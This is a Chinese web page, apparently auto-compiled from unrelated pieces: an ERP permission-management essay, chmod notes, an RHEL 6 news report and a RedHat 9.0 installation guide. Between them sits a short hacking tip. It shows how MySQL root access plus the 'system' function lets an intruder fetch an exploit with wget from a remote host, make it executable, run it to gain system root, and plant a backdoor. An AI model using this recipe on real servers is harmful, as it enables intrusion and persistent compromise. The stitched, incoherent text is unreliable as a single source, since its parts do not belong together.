ERP应用业务部门、人事管理部门和ERP运维支持部门需要建立起有效的沟通协调体系。人事部门和业务部门介入ERP系统的权限管理工作中,一方面人事部门可以及时协调处理人事岗位、职责调整的信息反馈,形成畅通的人事信息反馈机制,当有人员岗位和职责分工调整的情况时,人事管理部门可以及时将相关信息反馈到业务部门和权限管理部门,以便业务部门和权限管理部门能迅速作出反应,及时撤销应该撤销的用户ID,冻结该冻结的ID,变更该变更的业务权限,删除该删除的权限,保证系统运营风险最小化;另一方面人事部门与业务部门可以通过有效的沟通系统,不断梳理、调整、优化部门岗位设置和人员职分工,达到合理分配人力资源。
(五)定期开展ERP账号梳理。ERP用户账号管理是权限管理工作中最基础的工作,因为没有用户账号,根本就不用考虑该业务人员岗位职责是否互相冲突,业务处理权限是否互斥。所以要做好ERP权限管理工作,保证管理程序上清晰、规范,首先就要做好账号管理的规范,因此按照ERP内部控制规范,定期开展ERP账号梳理。这样做可以取得两个方面的好处,一是可以及时关闭和撤销不再需要的用户账号,降低用户账号的闲置率,有效提升账号利用率,减少企业因为存在大量闲置账号而承担不必要的运维费用;二是可以及时清理出存在权限互斥的账号,及时向业务部门反馈,并及时处理,将ERP内控管理要求落实在日常管理中,而不至于在开展内控检查工作前手忙脚乱、头痛以头、脚痛医脚的状况。
(六)内控工作部门全程参与ERP权限管理。内控管理部门在业务上具有业务指导和协助管理的工作职责。国内大多数实施了ERP的企业或公司后,权限运维管理面临一个怪现状,内控管理部门基本上根本未参与ERP权限管理工作,完全脱离ERP内控工作,根本不会关注运维部门具体的执行过程,重点只关注每年的内控审查结果。没有检查就不会关注执行部门是否把ERP内控工作执行的到底怎么样,给用户授权的过程是否可控,用户授权权限是否合规,角色分配是否符合职责分离原则等,往往在内控测试检查出问题后,再要求执行部门去整改。因此,内控管理部门参与到ERP权限管理工作中,做好权限内控测试,把好用户权限申请的第一关是必须的。
综上所述,在ERP系统用户权限设定上,就要充分考虑岗位设置的合理性,对岗位的职能,职责进行科学的区分,优化人力资源合理配置,才能真正做到合理分配用户操作权限和限制用户操作范围,从而保证系统的安全性,数据的完整性。
参考文献:
[1] 孙士学.苏瑞. SAP权限管理浅谈.电脑知识与技术,2011,7(11):2527-2537.
[2] 张震.张巍钟. ERP 系统权限管理.中国管理信息化,2012,15 (3):53-54.
chmod 770 test.log#递归修改子目录chmod -R 770 test
例如: [-rw-r--r--] 对应为 644,
mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内。
一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如此这般。今天我们换一种方式。
按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了,
但是 按照我的的方法,没有必要再去找web路径了,直接执行
mysql>system vi /etc/httpd/conf/httpd.conf;
直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,比如,下载exp执行, 搞到 root权限,然后装后门虾米的
mysql>system wget xxxx.xxx.com/xxxx ;
mysql>system chmod +x xxxx;
mysql>system ./xxxx;
这样mysql的root此时就成为system的root了,剩下的事情,如果开了ssh,就ssh上去,输入mysql的用户密码,ok,搞 定。
上个月,红帽(Red Hat)对外发布了其旗舰产品——新一代服务器操作系统RHEL 6(Red Hat Enterprise Linux 6),其中重点强化了对虚拟化和云计算的支持。当然,除此之外,高扩展性、绿色节能以及安全性也是RHEL 6的亮点。红帽公司上下对这个新一代操作系统给予厚望,而业内人士也认为,RHEL 6将进一步提升Linux操作系统在业界的影响力,带动更多用户进入Linux所领导的开源世界。
为新一代数据中心而生
与之前的版本相比,红帽的最新一代操作系统RHEL 6新增了很多功能,同时原有的功能也有不少的改进。不过,在记者看来,其中最大的变化是,RHEL 6不再仅仅是作为服务器操作系统,而是一个可以帮助企业实现虚拟化和向云平台迁移的操作系统。红帽公司的高层在介绍RHEL 6时,除了介绍可扩展性、灵活性和开放性这些常规特点之外,谈得最多的也是如何把RHEL 6作为一个面向云计算和虚拟化的平台。
“RHEL 6是红帽的一次具有里程碑意义的重要产品,它不僅是一个非常好的新一代服务器操作系统,更是一个用户建设私有云的最佳平台,是我们为满足未来的数据中心而研发的产品。”在日前举行的红帽技术论坛上,红帽亚太区副总裁范吕文这样评价RHEL 6。
范吕文说,IT技术日新月异,服务器的运行环境发生了很多变化,涌现了很多新的服务器技术,如多核、多CPU日益普及,内存、存储容量日益增大,服务器的计算能力提升很快,同时文件系统日益庞大,这些都需要服务器操作系统提供内在的支持。而重大升级的另一个重要原因是,要顺应数据中心对虚拟化和云计算方面的需求。
“对现代数据中心而言,虚拟化已经不是一个可选项,而是一个必选项,也就是说,虚拟化应该属于操作系统的一个不可缺少的部分。”范吕文介绍说,“就像10多年前的TCP/IP一样,当时的操作系统并没有提供对TCP/IP的支持,用户需要这一功能还要另外购买,而随着TCP/IP的普及,今天的操作系统都提供了这一功能,支持TCP/IP成为一种标准配置。”
在范吕文看来,与专门的虚拟化产品相比,内置于操作系统中的虚拟化更为自然,效率更高、更安全,特别是当红帽从RHEL 5.4开始就引入了KVM之后,由于它被集成到Linux内核,因而进一步提升了虚拟机的性能。据悉,基于KVM的虚拟机能达到物理服务器性能的90%以上。鉴于KVM上的虚拟机性能损失小,红帽建议用户更多地把应用部署到虚拟机上运行而不是在物理机上。
“将应用部署到RHEL的虚拟机上,具有更好的可移植性、可用性,管理、部署和配置也更加灵活。”红帽公司CTO办公室总监Nick Carr说。
Nick Carr表示,红帽还希望,无论客户是在自己的数据中心内部署私有云,还是使用亚马逊弹性计算云,用户在部署云计算时使用RHEL 6。“不管操作系统是运行在数据中心还是在公有云中,也无论是运行在裸机服务器上或虚拟机上,RHEL 6将会提供一致的性能表现。”
高可扩展性与节能
除增强了对云计算和虚拟化支持的能力之外,作为一个面向数据中心的操作系统,RHEL 6的可扩展能力和在绿色节能方面的提升也非常明显。
据红帽的工程师介绍,RHEL 6有1万多项功能特性,其中包括数千个新增和改进的功能,使得它能更充分地发挥数据中心现有或将有的硬件能力。比如,现在的RHEL支持64TB的内存,支持多达4096个多核CPU,在文件系统方面可管理的文件数量也提高了5倍,支持多达100TB的文件,网络传输速度也提高了一倍。另外,RHEL 6还带来了增强的虚拟化I / O能力,这意味着每个虚拟主机能支持更多的虚拟客户机。
尤为值得一提的是,RHEL 6还能智能地感知跨多个CPU和内核的应用程序的运行,并根据数据中心内部各个服务器之间的连接给应用程序分配最合适的CPU、存储、网络等计算资源。
为了降低数据中心的运行成本,RHEL 6还提供了更强的电源管理功能。比如,它能把那些暂时不用的组件置于断电状态,从而实现节能。与前一个版本RHEL 5.5相比,RHEL 6能节能20%〜40%。在能源日益紧张、全球开始注重绿色节能的今天,RHEL 6这一个特点也算是顺应了时代的要求。
此外,该平台为管理员提供了一个更强大的管理工具,用于根据需求制定最适合自己的策略。例如,管理员可以为一个应用系统指定用多少内存、占用网络带宽和耗用多少其他资源等。红帽还为一些通用的数据中心架构提供一个模板,用于帮助系统管理员设置、管理虚拟机的优先级。
在安全方面,红帽新增加了一个名为Svirt的安全功能,它可以限制一个虚拟客户机访问资源的能力,如访问文件、网络端口和应用程序资源。这就形成了一个双重的检查机制,一旦某个虚拟机被入侵,它如果想访问其他虚拟机,就会被Svirt功能阻止。
不断完善的生态系统
在日趋成熟的IT领域中,某个产品是否能被用户接受,除了产品本身是否优秀以外,另一个重要因素是其生态系统是否完善,对于像操作系统这样的基础软件,其生态系统是否完善尤为重要。作为Linux的领导厂商,红帽深知这一点,所以,一直在不断做这方面的工作。
红帽构建生态系统的一个重要举措是推进开源文化、打通产业链的上下游,吸引更多的合作伙伴在RHEL以及红帽的中间件产品JBOSS等开源平台上开发各种应用。在红帽技术论坛上,来自中国香港的Brain Child 公司就演示了如何在开源软件世界里,开发出一个企业级的商务智能应用。
应该说,在红帽等公司的推动下开源软件所倡导的“软件免费、服务收费”今天得到越来越多的人认可。根据Gartner的预测,到2011年会有80%企业会用到开源软件。用户对开源的认可推动开源市场迅速成长,这也是近几年红帽公司每年都保持两位数以上增长速度的重要原因之一。
对于Windows/Linux多操作系统共存的系统,安装顺序是先安装Windows系统,然后才是Linux。下面我们介绍在已经安装了Windows系统的单硬盘上如何安装RedHat Linux 9.0。
Linux安装前的准备工作
1.用Windows系统收集硬件信息
在安装Linux之前,您需要借助Windows系统了解计算机硬件的基本信息,如内存大小、声卡、显示器、鼠标和显卡型号等。
2.设置从光盘引导系统
Linux支持几种安装方式,但直接以光盘开机启动进行安装最方便和快速。若要机器以光盘启动,需要修改BIOS的设置,将CD-ROM变更至开机顺序的第一位。
3.Linux分区
Linux分区的表示方法
分区就是将磁盘驱动器分隔成独立的区域,每个区域都如同一个单独的磁盘驱动器,在DOS/Windows系统下磁盘分区可分为C、 D和E盘等。但Linux则将磁盘视为块设备文件来管理使用,它以 /dev(device的缩写)开头表示。
例: 在Linux用 “/dev/hda1”表示Windows下的C盘
其中:hd 表示IDE硬盘(SCSI硬盘用sd);hda 为 第一个IDE 硬盘(第二为 hdb);/dev/hda1 为主分区,逻辑分区 从5 开始,如: /dev/hda5、/dev/hda6、/dev/hda7等。
为Linux准备分区
Linux分区和Windows分区不同,不能共用。所以需要为Linux单独开辟一个空闲的分区,最好是最后一个分区。如图1中利用Windows下的Partition Magic(分区魔法)软件,在D盘上腾出空间创建新分区E盘(或利用已有的空闲E盘),文件类型暂设为FAT32,作为稍后创建Linux分区使用,RedHat 9.0 大约需4 ~ 5GB的空间。
4.Linux 的文件系统
对于不同的操作系统,文件系统也不同。Windows文件系统为FAT16、FAT32和NTFS。而Linux的文件系统可分为ext2、ext3、swap和vfat。ext2支持最多为255 个字符的文件名;ext3 是基于 ext2之上,主要优点是减少系统崩溃后恢复文件系统所花费的时间,RedHat 9.0 默认文件系统为ext3;交换区swap是被用于支持虚拟内存;Windows的FAT分区在Linux下显示为vfat文件类型。
安装RedHat Linux 9.0
1.用RedHat 9.0第一张安装光盘引导开机,系统在开机后会出现安装菜单。
安装菜单中提供了供用户选择的图形和文本模式的安装方式,按回车选择图形模式进行安装。在进入图形画面的安装模式前,RedHat 9.0比以往的版本多了一个环节,那就是提示对安装光盘介质进行检测, 也可按“Skip”按钮跳过检测。
2.接着安装程序会自动检测硬件,包括视频卡(显示卡)、显示器和鼠标的配置,然后进入图形画面的安装向导。在出现“语言选择”的画面中,我们选择“简体中文”,这样接下去的安装过程界面的文字都会改为中文。在“键盘配置”画面中接受默认的“美国英语式”键盘。选择“下一步”,在“鼠标配置”窗口,系统自动检测出鼠标的配置。
3.选择安装类型,安装类型包含四种不同的安装方式:个人桌面、工作站、服务器和定制。“服务器”的安装适用于专职的服务器使用,“个人桌面”和“工作站”适合于初学者,为了让你更多地了解安装过程,我们将选择“定制”类型进行安装。
4.磁盘分区设置:确认了“定制”方式之后,系统会出现“磁盘分区设置”窗口,它提供了两种分区方式:“自动分区”和“用Disk Druid手工分区”。
“自动分区”是一个危险功能,因为它会自动删除原先硬盘上的数据,并格式化成为Linux的分区文件系统。所以除非计算机上没有其他操作系统,你才可以使用。建议采用Disk Druid程序进行手动分区,它的图形化界面比早期RedHat的fdisk程序操作更简单。
5.磁盘设置:在选择“用Disk Druid手工分区”后,会显示如图2的“磁盘设置”窗口,这是整个安装过程中惟一需要用户较多干预的步骤,也是很重要的环节。
只要有一个主分区就可以安装并使用Windows操作系统,同时D、E等逻辑盘的文件结构也都是独立的。而Linux系统归根结底就只有一个根目录,一个独立且惟一的文件结构。Linux的文件系统采用树型结构,整个文件系统由一个“根”和根上的几个分“杈”组成,Linux需创建几个“Linux Native”分区和“Linux Swap ”分区,每个分区都必须通过 “挂载点”,分别载入到 “根(/)”或几个分“杈(如/boot、/home等)”上。
一个最基本的Linux系统需有一个“/”根文件系统分区、一个“Swap”交换文件分区和/boot分区,为了用户使用方便建议还需创建一个 /home分区。
为Linux建立分区有几种办法,一种是编辑现有空闲分区,使它成为Linux分区。如果没有空闲的磁盘空间,就需要将现有的分区删除后,腾出空间,以建立Linux分区。
图2中的/dev/hda6是在Windows下用Partition Magic为Linux准备的分区E盘(图1)。下面我们将在/dev/hda6上创建“/”、“/boot”、“swap”和“/home”分区。
(1)因 /dev/hda6 的文件类型是vfat,需先删除此分区,使它变成 “空闲”设备和“空闲分区”;
(2)创建“/”分区:选中“空闲”设备,按“新建”按钮,进入“添加分区”的窗口中,挂载点选“/”,文件系统类型选“ext3”,大小输入“5000MB”。
(3)创建“/boot”:同(2),在挂载点选“/boot”,文件系统类型选“ext3”,大小输入“100MB”。
(4)创建swap:一般swap分区的大小设定为机器内存的2~3倍为最佳,在“添加分区”的窗口,文件系统类型选“swap”,大小为600MB(如果内存为256MB),它不需要挂载点;
(5)创建“/home”:在挂载点选“/home”,文件系统类型选“ext3”,我们选择“使用全部可用空间”选项,将剩余的磁盘分配给/home区。
6.在完成了创建Linux分区后,接下来出现“引导装载程序配置”窗口。
对于Windows/Linux多操作系统共存的系统,开机时如何指定引导的操作系统,这需要借助开机引导装载程序(Boot Loader)。Linux内置了两种开机引导装载程序——LILO与Grub,在图3引导装载程序配置中,我们将开机启动的操作系统设为DOS(Windows),同时默认系统设置——以Grub作为引导装载程序。
7.配置好引导装载程序后,在接下来的“网络配置”、“防火墙的配置”、“附加语言支持”和“时区选择”的窗口中,我们都按系统默认进行选择。
8.和Windows XP相同,有一个称为“root”权限最大的管理员账户,使用这个账户登录主机可以完全掌握整个系统,安装过程中需要设置它的口令,请记住设置的口令。在后面的“验证配置”的窗口中,我们以系统默认的设置进行。
9.接下来是进行“个人桌面默认的设置”,选择“定制要安装的软件包集合”。然后是系统软件包的选择安装,在“选择软件包组”窗口中,为了测试每个软件包的功能,选择最后一个选项“全部安装”,安装全部软件包需4850MB的硬盘空间,按“下一步”后,系统开始进行软件包的安装。在安装过程中,系统会提示插入第二及第三张安装光盘。
10.软件包安装完成后,系统会提示“创建引导盘”,当系统无法引导的情况下,引导盘可作为紧急救援盘,我们强烈建议要制作引导盘。
11.随后系统显示“图形化界面(X)配置”、“显示器设置”和“定制图形化配置”的窗口,分别显示系统检测出的视频卡(显示卡)的型号、内存和显示器的型号以及色彩深度、屏幕分辨率等,一般按系统的默认值设置即可。
【Linux操作系统的权限代码分析】推荐阅读:
《Linux 操作系统》课程教学心得10-08
《Linux操作系统》理论教学大纲07-22
Linux系统工程师的工作职责11-15
构建嵌入式linux系统10-25
vb课程设计档案管理系统代码07-25
NC系统用户及权限管理制度11-18
操作系统的复习资料05-25
分布式操作系统的简介10-03
04-操作系统05-25
操作系统知识总结09-25